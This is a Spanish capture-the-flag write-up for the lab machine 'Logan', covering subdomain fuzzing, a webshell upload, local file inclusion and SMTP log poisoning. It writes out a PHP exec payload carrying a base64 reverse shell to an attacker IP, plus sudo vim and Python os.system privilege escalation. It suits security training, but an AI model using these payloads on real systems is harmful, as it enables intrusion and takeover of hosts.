Máquina LOGAN

Hacemos el reconocimiento con nmap:

Si intentamos acceder al puerto 80, vemos que se está aplicando virtual hosting, por lo que tenemos que añadir el logan.hmv al /etc/hosts:

Y ahora si nos funciona la web:

Hacemos fuzzing para ver si encontramos algún subdominio:

wfuzz -c --hc=404 -t 200 --hl=1 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.logan.hmv" -u 192.168.0.37

Y añadimos el nuevo subdominio al fichero hosts:

Y esto es lo que tenemos:

Vamos a subir una webshell dentro del apartado para subir archivos, por lo que usamos la de pentest monkey:

Una vez subido, tenemos que encontrar donde se guardó la webshell, por lo que haremos fuzzing, donde vemos el directorio payments:

Y nos encontramos con esto:

Y esto en el payments.php:

En este input vamos a hacer un ataque de intruder para ver el payload que tenemos que utilizar para explotar alguna vulnerabilidad:

Donde tenemos que meter el siguiente payload para explotar un LFI, por lo que usamos este diccionario:

https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt

Y ahora lo cargamos en burp suite:

/etc/passwd

Una vez que ya sabemos que tenemos un LFI, podemos intentar en hacer un log poisoning por el puerto 25, donde fácilmente podamos acceder al directorio /var/log/mail:

/var/log/mail.log

Por lo que vamos a hacer un log poisoning al puerto smtp, donde en esta web tenemos unas instrucciones:

Donde se nos dice cómo debemos inyectar un comando:

Por lo que buscamos el one liner de la reverse shell y lo codificamos en base64:

L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjMzLzQ0MyAwPiYxIg==

Y ahora con telnet nos conectamos y ejecutamos los siguientes comandos:

telnet 192.168.0.37 25
MAIL FROM:<mario@gmail.com>
RCPT TO:<?php exec("echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjMzLzQ0MyAwPiYxIg== | base64 -d | bash"); ?>

Y ahora si recargamos la página principal inyectando nuevamente el payload para ver el fichero de logs del puerto 25, habremos obtenido una reverse shell:

Y vemos que si ejecutamos el comando sudo -l, podremos ejecutar comandos con vim como root: 14 - Escalada de Privilegios con VIM

Por tanto ejecutamos el siguiente comando:

sudo -u logan /usr/bin/vim hola.txt

Y ponemos lo siguiente:

Y ya somos el usuario logan:

Si volvemos a ejecutar el comando sudo -l, vemos que esta vez con el usuario logan podemos ejecutar un script:

Y lo que nos permite este script es ejecutar un one liner de algo de python, por ejemplo un print:

Lo que tenemos que hacer es importar la librería os de python y ejecutar algún comando, que puede ser lanzar una bash como root:

print(__import__('os').system('bash'))